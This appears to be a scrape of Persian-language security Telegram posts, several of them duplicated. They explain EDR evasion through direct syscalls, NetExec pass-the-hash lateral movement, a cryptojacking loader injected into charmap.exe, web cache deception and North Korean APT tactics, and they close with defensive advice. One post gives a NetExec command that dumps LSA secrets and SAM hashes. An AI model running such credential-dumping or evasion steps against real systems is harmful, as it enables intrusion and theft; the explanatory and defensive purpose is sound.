Mr. SAM
تکنیک ۳: استفاده از Syscalls مستقیم (Direct Syscalls)
این یک روش پیشرفتهتر برای دور زدن هوکینگ User-Mode است. به جای فراخوانی تابع
چگونه کار میکند؟
1. هر تابع سطح بالای API در نهایت به یک فراخوانی سیستمی (syscall) برای ارتباط با کرنل ختم میشود.
2. ابزار مهاجم، به جای استفاده از کتابخانههای ویندوز، کد اسمبلی (Assembly) لازم برای اجرای مستقیم syscall (مثلاً
3. از آنجایی که این فراخوانی، لایه
حالا سناریوی یک حمله را در نظر بگیرید
دسترسی اولیه و سرقت اطلاعات☠️ :
استفاده از اطلاعات برای حرکت جانبی☠️ :
اینجا دقیقاً جایی است که NetExec وارد میدان میشود. مهاجم حالا با در دست داشتن هش NTLM یک کاربر ادمین، از NetExec استفاده میکند تا👇:
با استفاده از تکنیک Pass-the-Hash، به صدها یا هزاران سیستم دیگر در همان شبکه احراز هویت کند.
دستورات را از راه دور بر روی آن سیستمها اجرا کند (مثلاً از طریق ماژولهای wmiexec یا smbexec).
همان ابزار dump کردن LSASS را بر روی سیستمهای دیگر نیز اجرا کرده و اطلاعات بیشتری جمعآوری کند.
سرویسهای جدید ایجاد کند، فایل آپلود یا دانلود کند و به طور کلی کنترل خود را در کل شبکه گسترش دهد.
☠️ وقتی سروری را هک میکنید، میخواهید به این اسرار دسترسی پیدا کنید. برای انجام این کار، میتوانید از ابزار NetExec (که جانشین مدرن CrackMapExec است) استفاده کنید :
این دستور یکی از کلاسیکترین و در عین حال قدرتمندترین دستورات در فاز پس از بهرهبرداری (Post-Exploitation) در محیطهای Active Directory است.
معمولاً شما پایگاه داده SAM را که حاوی هش NT حسابهای محلی است، نیز dump میکنید . استخراج این اطلاعات ساده به نظر میرسد، اما در باطن اتفاقات زیادی رخ داده است. NetExec سه کندوی رجیستری زیر را استخراج کند:
۔HKLM\SAM: شامل هشهای NT حسابهای محلی است.
۔HKLM\SECURITY: حاوی اطلاعات محرمانهی LSA است.
۔HKLM\SYSTEM: حاوی اطلاعات مورد نیاز برای رمزگشایی پایگاه داده SAM و اطلاعات محرمانه LSA است.
نکات کلیدی برای تیمهای آبی (Blue Teams):
* مانیتورینگ بارگذاری درایورها بارگذاری هرگونه درایور جدید و ناشناس روی سیستمهای حساس باید به دقت بررسی و تحلیل شود.
* سختگیری در سطح کرنل فعالسازی قابلیتهایی مانند HVCI (Hypervisor-protected Code Integrity) میتواند بارگذاری درایورهای امضانشده یا آسیبپذیر را بسیار دشوارتر کند.
* تحلیل رفتاری: به جای تکیه صرف بر شناسایی API-Hooking، باید روی تحلیلهای رفتاری تمرکز کرد. برای مثال، کدام پروسسها در تلاش برای خواندن حافظه LSASS هستند، حتی اگر این تلاش موفقیتآمیز باشد.
@NullError_ir
این یک روش پیشرفتهتر برای دور زدن هوکینگ User-Mode است. به جای فراخوانی تابع
OpenProcess از ntdll.dll (که توسط EDR هوک شده)، مهاجم مستقیماً "system call" مربوطه را فراخوانی میکند.چگونه کار میکند؟
1. هر تابع سطح بالای API در نهایت به یک فراخوانی سیستمی (syscall) برای ارتباط با کرنل ختم میشود.
2. ابزار مهاجم، به جای استفاده از کتابخانههای ویندوز، کد اسمبلی (Assembly) لازم برای اجرای مستقیم syscall (مثلاً
syscall یا int 0x2e) را پیادهسازی میکند.3. از آنجایی که این فراخوانی، لایه
ntdll.dll را دور میزند، قلابهای EDR هرگز اجرا نشده و درخواست مستقیماً به کرنل ارسال میشود. این تکنیک نیز به شرطی موفق است که دفاع اصلی EDR در سطح کرنل نباشد.حالا سناریوی یک حمله را در نظر بگیرید
دسترسی اولیه و سرقت اطلاعات
استفاده از اطلاعات برای حرکت جانبی
اینجا دقیقاً جایی است که NetExec وارد میدان میشود. مهاجم حالا با در دست داشتن هش NTLM یک کاربر ادمین، از NetExec استفاده میکند تا👇:
با استفاده از تکنیک Pass-the-Hash، به صدها یا هزاران سیستم دیگر در همان شبکه احراز هویت کند.
دستورات را از راه دور بر روی آن سیستمها اجرا کند (مثلاً از طریق ماژولهای wmiexec یا smbexec).
همان ابزار dump کردن LSASS را بر روی سیستمهای دیگر نیز اجرا کرده و اطلاعات بیشتری جمعآوری کند.
سرویسهای جدید ایجاد کند، فایل آپلود یا دانلود کند و به طور کلی کنترل خود را در کل شبکه گسترش دهد.
این دستور یکی از کلاسیکترین و در عین حال قدرتمندترین دستورات در فاز پس از بهرهبرداری (Post-Exploitation) در محیطهای Active Directory است.
nxc smb (target) -u Admin -p (pass) --lsa
معمولاً شما پایگاه داده SAM را که حاوی هش NT حسابهای محلی است، نیز dump میکنید . استخراج این اطلاعات ساده به نظر میرسد، اما در باطن اتفاقات زیادی رخ داده است. NetExec سه کندوی رجیستری زیر را استخراج کند:
۔HKLM\SAM: شامل هشهای NT حسابهای محلی است.
۔HKLM\SECURITY: حاوی اطلاعات محرمانهی LSA است.
۔HKLM\SYSTEM: حاوی اطلاعات مورد نیاز برای رمزگشایی پایگاه داده SAM و اطلاعات محرمانه LSA است.
نکات کلیدی برای تیمهای آبی (Blue Teams):
* مانیتورینگ بارگذاری درایورها بارگذاری هرگونه درایور جدید و ناشناس روی سیستمهای حساس باید به دقت بررسی و تحلیل شود.
* سختگیری در سطح کرنل فعالسازی قابلیتهایی مانند HVCI (Hypervisor-protected Code Integrity) میتواند بارگذاری درایورهای امضانشده یا آسیبپذیر را بسیار دشوارتر کند.
* تحلیل رفتاری: به جای تکیه صرف بر شناسایی API-Hooking، باید روی تحلیلهای رفتاری تمرکز کرد. برای مثال، کدام پروسسها در تلاش برای خواندن حافظه LSASS هستند، حتی اگر این تلاش موفقیتآمیز باشد.
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - Pennyw0rth/NetExec: The Network Execution Tool
The Network Execution Tool. Contribute to Pennyw0rth/NetExec development by creating an account on GitHub.
یک بدافزار استخراج ارز دیجیتال اخیراً کشف شده است، که با سوءاستفاده از برنامه داخلی Character Map ویندوز به عنوان میزبان اجرا، توجه تیمهای امنیتی در سراسر جهان را به خود جلب کرده است.
تحلیل بدافزار Cryptojacking جدید
در دنیای امنیت سایبری، مهاجمان همواره در جستجوی روشهای نوین و خلاقانه برای دور زدن سازوکارهای امنیتی و پنهان کردن فعالیتهای مخرب خود هستند. به تازگی، یک زنجیره حمله پیچیده و نوآورانه شناسایی شده است که در آن، یک بدافزار با بهرهگیری از تکنیکهای (Living off the Land - LotL) و سوءاستفاده از یک ابزار کاملاً قانونی و معتبر ویندوز، یعنی Character Map (charmap.exe) ، سیستم قربانی را به یک ماینر پنهان تبدیل میکند. این نوشته تحلیل فنی بدافزار را تشریح میکند.
آناتومی حمله: از PowerShell تا تزریق
این حمله چندمرحلهای، نمونهای برجسته از بدافزارهای (Fileless) است که با هدف به حداقل رساندن ردپای خود بر روی دیسک و گریز از شناسایی توسط آنتیویروسهای سنتی طراحی شده است.
مرحله ۱: دسترسی اولیه از طریق PowerShell
نقطه شروع حمله، اجرای یک اسکریپت مخرب PowerShell به نام
infect.ps1 است. این اسکریپت از طریق یک اتصال HTTP از یک سرور خارجی مشکوک (C2) بر روی سیستم قربانی دانلود میشود. استفاده از PowerShell به عنوان بردار اولیه حمله بسیار رایج است، زیرا این ابزار قدرتمند به صورت پیشفرض بر روی تمامی نسخههای مدرن ویندوز نصب بوده و از اعتماد بالایی در محیطهای سازمانی برخوردار است. هوشمندی مهاجمان در این مرحله، استفاده از یک User-Agent جدید و نادر برای اتصال PowerShell است که اولین زنگ خطر را برای سیستمهای نظارت بر شبکه (مانند راهحلهای NDR) به صدا در میآورد.مرحله ۲: رمزگشایی و آمادهسازی لودر چندلایه
اسکریپت
infect.ps1 به شدت مبهمسازی (Obfuscate) شده است. این اسکریپت حاوی چندین قطعه داده (blob) است که با استفاده از الگوریتمهای Base64 و XOR رمزنگاری شدهاند. این لایههای متعدد رمزنگاری، تحلیل ایستا (Static Analysis) اسکریپت را بسیار دشوار میکند.پس از اجرا، اسکریپت PowerShell این قطعات داده را در حافظه (RAM) رمزگشایی میکند. یکی از این قطعات ، یک فایل اجرایی AutoIt را تشکیل میدهد. AutoIt یک زبان اسکریپتنویسی رایگان است که برای خودکارسازی وظایف در ویندوز طراحی شده، اما متأسفانه به ابزاری محبوب برای مهاجمان جهت ساخت لودرهای بدافزار تبدیل شده است. این اسکریپت AutoIt وظیفه اصلی حمله، یعنی تزریق کد مخرب به یک پروسس قانونی، را بر عهده دارد.
مرحله ۳: تکنیک خلاقانه تزریق (Process Injection) با هدف قرار دادن charmap.exe
اینجا، خلاقانهترین و نگرانکنندهترین بخش حمله رخ میدهد. لودر AutoIt به جای اجرای مستقیم بدافزار (که به راحتی توسط نرمافزارهای امنیتی شناسایی میشود)، از تکنیک Process Injection استفاده میکند. اما هدف این تزریق، یک پروسس سیستمی رایج مانند
svchost.exe یا explorer.exe نیست. مهاجمان به طرز هوشمندانهای ابزار Windows Character Map (charmap.exe) را انتخاب کردهاند.چرا charmap.exe ؟
* قانونی و مورد اعتماد: این یک ابزار کاملاً قانونی و امضاشده توسط مایکروسافت است که حضور و اجرای آن در سیستم هیچگونه شکی را برنمیانگیزد.
* عدم نظارت:
charmap.exe معمولاً جزو پروسسهایی نیست که به طور دقیق توسط تیمهای امنیتی یا ابزارهای EDR نظارت شود.* سادگی: این یک پروسس سبک و ساده است که بستر مناسبی برای تزریق کد بدون ایجاد ناپایداری در سیستم فراهم میکند.
لودر AutoIt ابتدا پروسس
charmap.exe را در حالت سایلنت اجرا میکند. سپس، با کسب دسترسی کامل به فضای حافظه پروسس ، یک ناحیه حافظه جدید با قابلیت نوشتن و اجرا (Writable and Executable) تخصیص میدهد.مرحله ۴: استقرار و اجرای پیلود نهایی (NBMiner)
در گام نهایی، لودر، پیلود اصلی یعنی بدافزار استخراج رمزارز NBMiner را که تا این لحظه به صورت رمزنگاریشده در حافظه نگهداری میشد، با استفاده از یک کلید XOR جدید (مثلاً 47) رمزگشایی کرده و آن را مستقیماً در فضای حافظه تخصیصدادهشده در پروسس
charmap.exe مینویسد. سپس یک Thread جدید در این پروسس ایجاد کرده و اجرای ماینر را آغاز میکند.از این لحظه به بعد، فعالیت مخرب استخراج رمزارز در پوشش یک پروسس کاملاً قانونی و بیخطر ویندوز انجام میشود. این تکنیک، شناسایی بدافزار را برای راهحلهای امنیتی سنتی که بر اساس نام پروسس یا امضای فایل کار میکنند، تقریباً غیرممکن میسازد.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1
Mr. SAM
تکنیکهای فرار از شناسایی و اهداف نهایی
این بدافزار برای اطمینان از بقا و پایداری خود، از چندین تکنیک پیشرفته دیگر نیز بهره میبرد:
* ضد تحلیل (Anti-Analysis) : بدافزار به طور مداوم بررسی میکند که آیا پروسسهایی مانند Task Manager در حال اجرا هستند یا خیر تا از تحلیل زنده (Live Analysis) توسط کاربر یا تحلیلگر امنیتی جلوگیری کند.
* غیرفعالسازی ابزارهای امنیتی: این بدافزار تلاش میکند تا ابزار تأیید امضای فایل ویندوز (
* دور زدن کنترل حساب کاربری (UAC Bypass): برای کسب دسترسیهای سطح بالاتر و تزریق به پروسسهای بیشتر، بدافزار از تکنیکهایی برای دور زدن مکانیزم UAC ویندوز استفاده میکند.
هدف نهایی این حمله، که به آن Cryptojacking گفته میشود، سرقت منابع پردازشی (CPU و GPU) و انرژی سیستم قربانی برای استخراج رمزارزهایی مانند Ravencoin (RVN) با استفاده از الگوریتم Kawpow است. این فرآیند به صورت کاملاً پنهانی انجام شده و تنها علائم آن میتواند کندی محسوس سیستم و افزایش دمای قطعات باشد.
نتیجهگیری و توصیههای امنیتی
این حمله نشاندهنده تکامل روزافزون تهدیدات سایبری و حرکت مهاجمان به سمت تکنیکهای پنهانکارانه و پیچیده است. سوءاستفاده از ابزارهای قانونی سیستمعامل، یک چالش جدی برای تیمهای امنیتی محسوب میشود. برای مقابله با این نوع تهدیدات، رویکردهای سنتی دیگر کافی نیستند و باید اقدامات زیر در دستور کار قرار گیرد:
1. نظارت بر رفتار پروسسها: استفاده از راهحلهای پیشرفته شناسایی و پاسخ نقطه پایانی (EDR) که قادر به تحلیل رفتار پروسسها هستند، ضروری است. این ابزارها میتوانند فعالیتهای مشکوکی مانند ایجاد اتصال شبکه توسط یک پروسس غیرمعمول (
2. کنترل دقیق PowerShell: فعالسازی قابلیتهای لاگبرداری پیشرفته PowerShell (مانند Script Block Logging) و نظارت بر دستورات اجرا شده، میتواند به شناسایی مراحل اولیه حمله کمک کند.
3. مدیریت دسترسیها (Principle of Least Privilege): محدود کردن دسترسیهای مدیریتی کاربران، از اجرای بسیاری از اسکریپتهای مخرب و تکنیکهای ارتقاء سطح دسترسی جلوگیری میکند.
4. رویکرد دفاع در عمق: ترکیبی از فایروالهای نسل جدید (NGFW)، سیستمهای تشخیص نفوذ (IDS/IPS)، و پلتفرمهای هوش تهدیداتی میتواند لایههای دفاعی متعددی را برای شناسایی و مسدودسازی این حملات فراهم کند.
5. آموزش و آگاهیرسانی: آگاهسازی در خصوص خطرات کلیک بر روی لینکها و فایلهای ناشناس، همچنان یکی از مؤثرترین راههای پیشگیری است.
این بدافزار بار دیگر ثابت کرد که در دنیای امنیت، هر ابزار قانونی و معتبری میتواند به یک سلاح در دستان مهاجمان تبدیل شود. بنابراین، تمرکز بر شناسایی رفتارهای ناهنجار به جای اتکای صرف به امضاها و شاخصهای ایستا، کلید اصلی موفقیت در برابر تهدیدات نسل جدید است.
@NullError_ir
این بدافزار برای اطمینان از بقا و پایداری خود، از چندین تکنیک پیشرفته دیگر نیز بهره میبرد:
* ضد تحلیل (Anti-Analysis) : بدافزار به طور مداوم بررسی میکند که آیا پروسسهایی مانند Task Manager در حال اجرا هستند یا خیر تا از تحلیل زنده (Live Analysis) توسط کاربر یا تحلیلگر امنیتی جلوگیری کند.
* غیرفعالسازی ابزارهای امنیتی: این بدافزار تلاش میکند تا ابزار تأیید امضای فایل ویندوز (
sigverif.exe ) را خاتمه دهد.* دور زدن کنترل حساب کاربری (UAC Bypass): برای کسب دسترسیهای سطح بالاتر و تزریق به پروسسهای بیشتر، بدافزار از تکنیکهایی برای دور زدن مکانیزم UAC ویندوز استفاده میکند.
هدف نهایی این حمله، که به آن Cryptojacking گفته میشود، سرقت منابع پردازشی (CPU و GPU) و انرژی سیستم قربانی برای استخراج رمزارزهایی مانند Ravencoin (RVN) با استفاده از الگوریتم Kawpow است. این فرآیند به صورت کاملاً پنهانی انجام شده و تنها علائم آن میتواند کندی محسوس سیستم و افزایش دمای قطعات باشد.
نتیجهگیری و توصیههای امنیتی
این حمله نشاندهنده تکامل روزافزون تهدیدات سایبری و حرکت مهاجمان به سمت تکنیکهای پنهانکارانه و پیچیده است. سوءاستفاده از ابزارهای قانونی سیستمعامل، یک چالش جدی برای تیمهای امنیتی محسوب میشود. برای مقابله با این نوع تهدیدات، رویکردهای سنتی دیگر کافی نیستند و باید اقدامات زیر در دستور کار قرار گیرد:
1. نظارت بر رفتار پروسسها: استفاده از راهحلهای پیشرفته شناسایی و پاسخ نقطه پایانی (EDR) که قادر به تحلیل رفتار پروسسها هستند، ضروری است. این ابزارها میتوانند فعالیتهای مشکوکی مانند ایجاد اتصال شبکه توسط یک پروسس غیرمعمول (
charmap.exe) یا تزریق کد به حافظه را شناسایی کنند.2. کنترل دقیق PowerShell: فعالسازی قابلیتهای لاگبرداری پیشرفته PowerShell (مانند Script Block Logging) و نظارت بر دستورات اجرا شده، میتواند به شناسایی مراحل اولیه حمله کمک کند.
3. مدیریت دسترسیها (Principle of Least Privilege): محدود کردن دسترسیهای مدیریتی کاربران، از اجرای بسیاری از اسکریپتهای مخرب و تکنیکهای ارتقاء سطح دسترسی جلوگیری میکند.
4. رویکرد دفاع در عمق: ترکیبی از فایروالهای نسل جدید (NGFW)، سیستمهای تشخیص نفوذ (IDS/IPS)، و پلتفرمهای هوش تهدیداتی میتواند لایههای دفاعی متعددی را برای شناسایی و مسدودسازی این حملات فراهم کند.
5. آموزش و آگاهیرسانی: آگاهسازی در خصوص خطرات کلیک بر روی لینکها و فایلهای ناشناس، همچنان یکی از مؤثرترین راههای پیشگیری است.
این بدافزار بار دیگر ثابت کرد که در دنیای امنیت، هر ابزار قانونی و معتبری میتواند به یک سلاح در دستان مهاجمان تبدیل شود. بنابراین، تمرکز بر شناسایی رفتارهای ناهنجار به جای اتکای صرف به امضاها و شاخصهای ایستا، کلید اصلی موفقیت در برابر تهدیدات نسل جدید است.
@NullError_ir
🔥1
چگونه دادههای خصوصی بدون شکستن حتی یک رمز، به سرقت میرود
در دنیای امنیت وب، همواره شاهد ظهور روشهای خلاقانه و نوینی برای نفوذ و سرقت اطلاعات هستیم. یکی از این تکنیکهای هوشمندانه و خطرناک، حمله (Web Cache Deception) است. این حمله به مهاجم اجازه میدهد تا با فریب دادن مکانیزمهای (Caching) در سطح وبسرور یا شبکههای توزیع محتوا (CDN)، به اطلاعات خصوصی و حساس کاربران دسترسی پیدا کند، بدون آنکه نیاز به شکستن رمز عبور یا حتی یافتن یک آسیبپذیری پیچیده در منطق برنامه داشته باشد.
این نوشته، به تشریح این حمله میپردازد و نشان میدهد که چگونه یک پیکربندی اشتباه ساده میتواند به افشای اطلاعات مهمی مانند نام، ایمیل، اطلاعات پروفایل و حتی دادههای مالی کاربران منجر شود.
این مکانیزم حمله چگونه کار میکند؟
برای درک این حمله، ابتدا باید با مفهوم (Web Caching) آشنا شویم. سیستمهای Cach ، نسخهای از فایلهای استاتیک وبسایت (مانند تصاویر، فایلهای CSS و جاوا اسکریپت) را در خود ذخیره میکنند تا در درخواستهای بعدی، محتوا را با سرعت بسیار بالاتری به کاربران تحویل دهند. این کار باعث کاهش بار روی سرور اصلی و افزایش چشمگیر سرعت بارگذاری سایت میشود.
حمله فریب Cach وب از یک پیکربندی نادرست در این سیستم بهرهبرداری میکند. در حالت ایدهآل، سیستم Cach باید فقط فایلهای عمومی و استاتیک را ذخیره کند. اما مشکل زمانی آغاز میشود که وبسرور به گونهای پیکربندی شده باشد که محتوای داینامیک و خصوصی (مانند صفحه پروفایل کاربر) را نیز بر اساس پسوند فایل در URL، به عنوان یک فایل استاتیک شناسایی و Cach کند.
مراحل اصلی حمله به شرح زیر است:
1. شناسایی هدف: مهاجم ابتدا یک صفحه حساس در وبسایت را شناسایی میکند که حاوی اطلاعات خصوصی کاربر لاگین کرده است. برای مثال، https://example.com/profile .
2. فریب سیستم Cach: مهاجم، قربانی را ترغیب میکند تا روی یک لینک دستکاریشده کلیک کند. این لینک، در ظاهر به یک فایل استاتیک بیخطر اشاره دارد، اما در واقع به صفحه پروفایل کاربر منتهی میشود. به عنوان مثال:
https://example.com/profile/logo.png
3. پیکربندی اشتباه سرور: وبسرور یا CDN به دلیل پیکربندی اشتباه، به انتهای URL نگاه میکند (/logo.png). از آنجایی که پسوند .png معمولاً برای فایلهای استاتیک است، سرور فریب میخورد.
4۔ Cach شدن محتوای خصوصی: سرور، محتوای داینامیک و خصوصی صفحه پروفایل قربانی را (که شامل نام، ایمیل و سایر اطلاعات شخصی اوست) به عنوان یک فایل استاتیک با نام logo.png در حافظه Cach عمومی خود ذخیره میکند.
5. دسترسی مهاجم: اکنون مهاجم به سادگی با مراجعه به همان URL (https://example.com/profile/logo.png) میتواند به نسخه Cachشده از صفحه پروفایل قربانی، که حاوی تمام اطلاعات خصوصی اوست، دسترسی پیدا کند.
سناریوی حمله: مطالعه
گام اول: شناسایی و تحلیل
مهاجم متوجه شد که وبسایت از یک سیستم Cachینگ قوی برای افزایش سرعت استفاده میکند. او صفحهی پروفایل شخصی خود را که آدرس آن به صورت https://target.com/account/profile بود، بررسی کرد. این صفحه حاوی اطلاعات حساسی مانند نام کامل، آدرس ایمیل، تاریخ تولد و اطلاعات مالی بود.
او سپس سعی کرد با اضافه کردن یک پسوند فایل استاتیک به انتهای URL، رفتار سرور را آزمایش کند. لینکی شبیه به این ساخت:
https://target.com/account/profile/styles.css
گام دوم: بهرهبرداری
پس از اینکه مهاجم با حساب کاربری خود روی لینک بالا کلیک کرد، اتفاق جالبی رخ داد. او سپس از حساب خود خارج شد (Logout) و دوباره به همان URL مراجعه کرد. در کمال تعجب، او توانست تمام محتوای صفحه پروفایل خود را مشاهده کند، در حالی که دیگر در سایت لاگین نبود!
این آزمایش ثابت کرد که سیستم Cach، محتوای داینامیک صفحه /account/profile را به دلیل وجود پسوند /styles.css به عنوان یک فایل استاتیک شناسایی و در حافظه پنهان عمومی ذخیره کرده است.
گام سوم: سرقت اطلاعات قربانی
اکنون مهاجم تنها به یک چیز نیاز دارد: اینکه قربانی روی لینک مخرب کلیک کند. این کار میتواند از طریق روشهای مختلف مهندسی اجتماعی مانند ارسال یک ایمیل فیشینگ یا قرار دادن لینک در یک صفحه وب دیگر انجام شود.
فرض کنید مهاجم لینک زیر را برای قربانی ارسال میکند:
https://target.com/account/profile/avatar.jpg
به محض اینکه قربانی (که در حساب کاربری خود لاگین است) روی این لینک کلیک میکند، سیستم Cach، یک کپی از صفحه پروفایل او را تحت عنوان avatar.jpg ذخیره میکند. چند لحظه بعد، مهاجم با مراجعه به همین آدرس، به تمام اطلاعات خصوصی قربانی دسترسی خواهد داشت.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
چرا این حمله تا این حد خطرناک است؟
* تشخیص دشوار: این حمله هیچ ردپای مشخصی در لاگهای امنیتی متعارف باقی نمیگذارد. از دید سرور، همه چیز یک درخواست عادی برای یک فایل استاتیک به نظر میرسد.
* عدم نیاز به تعامل پیچیده: تنها چیزی که مهاجم نیاز دارد، یک کلیک ساده از سوی قربانی است.
* مقیاسپذیری: مهاجم میتواند این حمله را به صورت گسترده علیه تعداد زیادی از کاربران یک سرویس اجرا کند.
* دور زدن مکانیزمهای امنیتی: این حمله مکانیزمهای احراز هویت را به طور کامل دور میزند، زیرا محتوا از Cach عمومی بازخوانی میشود و نیازی به بررسی نشست (Session) یا کوکی کاربر نیست.
راههای پیشگیری و مقابله
خوشبختانه، جلوگیری از این حمله پیچیده نیست و با پیکربندی صحیح سیستم Cach امکانپذیر است.
* قوانین سختگیرانه برای Cach: مهمترین راهکار این است که سیستم Cach به گونهای پیکربندی شود که فقط فایلهای دارای پسوند مشخص و از مسیرهای معین (مانند /static/ یا /assets/) را Cach کند. هرگز نباید به سیستم Cach اجازه داد تا بر اساس پسوند فایل در هر مسیری از URL تصمیمگیری کند.
* جدا کردن محتوای استاتیک و داینامیک: بهتر است محتوای استاتیک (مانند تصاویر و CSS) همیشه از یک زیردامنه یا مسیر جداگانه (مثلاً static.example.com) سرویسدهی شود. این کار به ایجاد قوانین Cachینگ واضحتر کمک میکند.
* استفاده از هدرهای کنترل Cach: استفاده صحیح از هدرهای HTTP مانند Cache-Control (با مقادیری چون no-store یا private) برای صفحات حاوی اطلاعات حساس، به مرورگر و سیستمهای Cach میانی دستور میدهد که این محتوا را ذخیره نکنند.
* اعتبارسنجی URL: وب اپلیکیشن باید درخواستهایی که به صفحات داینامیک با پسوندهای فایل استاتیک ارسال میشود را نامعتبر شناسایی کرده و رد کند.
این حمله یک یادآوری مهم برای تمام توسعهدهندگان و متخصصان امنیت است که حتی یک پیکربندی به ظاهر ساده و بیاهمیت در زیرساخت وب، میتواند به یک دروازه بزرگ برای نفوذ و سرقت اطلاعات حساس کاربران تبدیل شود.
@NullError_ir
* تشخیص دشوار: این حمله هیچ ردپای مشخصی در لاگهای امنیتی متعارف باقی نمیگذارد. از دید سرور، همه چیز یک درخواست عادی برای یک فایل استاتیک به نظر میرسد.
* عدم نیاز به تعامل پیچیده: تنها چیزی که مهاجم نیاز دارد، یک کلیک ساده از سوی قربانی است.
* مقیاسپذیری: مهاجم میتواند این حمله را به صورت گسترده علیه تعداد زیادی از کاربران یک سرویس اجرا کند.
* دور زدن مکانیزمهای امنیتی: این حمله مکانیزمهای احراز هویت را به طور کامل دور میزند، زیرا محتوا از Cach عمومی بازخوانی میشود و نیازی به بررسی نشست (Session) یا کوکی کاربر نیست.
راههای پیشگیری و مقابله
خوشبختانه، جلوگیری از این حمله پیچیده نیست و با پیکربندی صحیح سیستم Cach امکانپذیر است.
* قوانین سختگیرانه برای Cach: مهمترین راهکار این است که سیستم Cach به گونهای پیکربندی شود که فقط فایلهای دارای پسوند مشخص و از مسیرهای معین (مانند /static/ یا /assets/) را Cach کند. هرگز نباید به سیستم Cach اجازه داد تا بر اساس پسوند فایل در هر مسیری از URL تصمیمگیری کند.
* جدا کردن محتوای استاتیک و داینامیک: بهتر است محتوای استاتیک (مانند تصاویر و CSS) همیشه از یک زیردامنه یا مسیر جداگانه (مثلاً static.example.com) سرویسدهی شود. این کار به ایجاد قوانین Cachینگ واضحتر کمک میکند.
* استفاده از هدرهای کنترل Cach: استفاده صحیح از هدرهای HTTP مانند Cache-Control (با مقادیری چون no-store یا private) برای صفحات حاوی اطلاعات حساس، به مرورگر و سیستمهای Cach میانی دستور میدهد که این محتوا را ذخیره نکنند.
* اعتبارسنجی URL: وب اپلیکیشن باید درخواستهایی که به صفحات داینامیک با پسوندهای فایل استاتیک ارسال میشود را نامعتبر شناسایی کرده و رد کند.
این حمله یک یادآوری مهم برای تمام توسعهدهندگان و متخصصان امنیت است که حتی یک پیکربندی به ظاهر ساده و بیاهمیت در زیرساخت وب، میتواند به یک دروازه بزرگ برای نفوذ و سرقت اطلاعات حساس کاربران تبدیل شود.
@NullError_ir
## افشای تاکتیکهای پیشرفته گروههای هکری کره شمالی: از مهندسی اجتماعی تا جنگ سایبری اقتصادی
گروههای هکرهای (APT) وابسته به کره شمالی، که با نامهایی چون Lazarus ، Kimsuky و Andariel (APT45) شناخته میشوند، به طور فزایندهای در حال تکامل تاکتیکهای خود هستند. این گروهها که زمانی عمدتاً بر جاسوسی سایبری متمرکز بودند، اکنون به بازیگرانی چندوجهی تبدیل شدهاند که اهدافشان از سرقتهای مالی عظیم و حملات به زیرساختهای حیاتی تا عملیاتهای اختلال و باجگیری گسترش یافته است. تحلیلهای اخیر از منابع معتبر امنیتی، تصویری جامع از زرادخانه تکنیکی و استراتژیک این بازیگران دولتی ارائه میدهد.
این نوشته به بررسی تاکتیکها، تکنیکها و رویههای این گروهها میپردازد.
۱. مهندسی اجتماعی: هنر فریب در مقیاس بزرگ
ستون فقرات عملیاتهای کره شمالی، مهندسی اجتماعی فوقالعاده پیچیده و هدفمند است. آنها با درک عمیق از روانشناسی انسان، قربانیان را به برداشتن اولین قدم در زنجیره حمله ترغیب میکنند.
* جعل هویت و فرصتهای شغلی فریبنده: یکی از موفقترین تاکتیکهای آنها، ایجاد پروفایلهای جعلی در شبکههای اجتماعی حرفهای مانند لینکدین (LinkedIn) است. هکرها خود را به عنوان استخدامکننده از شرکتهای بزرگ فناوری و دفاعی جا زده و با ارائه پیشنهادهای شغلی وسوسهانگیز، محققان امنیتی، مهندسان و توسعهدهندگان نرمافزار را هدف قرار میدهند. فرآیند "استخدام" شامل ارسال فایلهای آلوده تحت پوشش آزمونهای مهارتی، اسناد پروژه یا فرمهای استخدامی است.
* فیشینگ نیزهای (Spear-Phishing) هدفمند: برخلاف فیشینگ عمومی، ایمیلهای آنها به دقت برای هر قربانی شخصیسازی میشود. این ایمیلها با جعل هویت شخصیتهای برجسته، خبرنگاران یا کارشناسان، حاوی موضوعاتی مرتبط با حوزه کاری قربانی (مانند مسائل هستهای، سیاست خارجی یا ارزهای دیجیتال) هستند تا اعتماد او را جلب کرده و به باز کردن پیوستهای مخرب یا کلیک بر روی لینکهای آلوده وادارند.
* تاکتیک ClickFix : در این روش، قربانی که در یک فرآیند مصاحبه شغلی جعلی قرار گرفته، به یک وبسایت فریبنده هدایت میشود. در آنجا از او خواسته میشود برای تکمیل یک ارزیابی مهارتی، دستوراتی را (معمولاً با استفاده از ابزار
curl) در خط فرمان خود کپی و اجرا کند. این دستورات در واقع بدافزار را از یک سرور دیگر دانلود و اجرا میکنند.۲. زنجیره تأمین نرمافزار: نفوذ از طریق بستههای متنباز
یکی از نگرانکنندهترین تحولات، هدفگیری زنجیره تأمین نرمافزار است. مهاجمان با آلوده کردن بستهها و کتابخانههای متنباز محبوب، به شبکههای هزاران توسعهدهنده و سازمان به صورت همزمان نفوذ میکنند.
* جعل برند: هکرها بستههای مخربی را با نامهای بسیار شبیه به کتابخانههای معتبر در مخازن عمومی مانند npm (برای Node.js) و PyPI (برای Python) منتشر میکنند. توسعهدهندگان به دلیل یک اشتباه تایپی ساده، نسخه آلوده را دانلود و در پروژههای خود استفاده میکنند.
* تزریق کد مخرب: پس از نصب، این بستههای آلوده انواع ابزارهای جاسوسی مانند کیلاگرها ، (Clipboard Stealers) و (Credential Harvesters) را روی سیستم توسعهدهنده فعال میکنند. این کار به مهاجمان دسترسی بلندمدت به کد منبع، کلیدهای API و زیرساختهای حساس سازمان را میدهد.
۳. بهرهبرداری از پلتفرمهای اطلاعاتی
در یک حرکت هوشمندانه و کنایهآمیز، گروههای کره شمالی خود از ابزارهایی که برای ردیابی آنها ساخته شده، برای بهبود عملیاتشان استفاده میکنند.
* بررسی زیرساخت قبل از حمله: مهاجمان قبل از خرید و استفاده از دامنهها و IPهای جدید برای سرورهای فرماندهی و کنترل (C2)، آنها را در پلتفرمهایی مانند VirusTotal و Validin بررسی میکنند تا اطمینان حاصل کنند که این زیرساختها قبلاً به عنوان مخرب شناسایی و در لیست سیاه قرار نگرفتهاند.
* پایش شناسایی: آنها به طور مداوم این پلتفرمها را برای یافتن نشانههایی از کشف شدن عملیات خود رصد میکنند. این کار به آنها اجازه میدهد تا در صورت لو رفتن یک زیرساخت، به سرعت آن را کنار گذاشته و از جایگزین استفاده کنند و به این ترتیب، تداوم عملیات خود را حفظ نمایند.
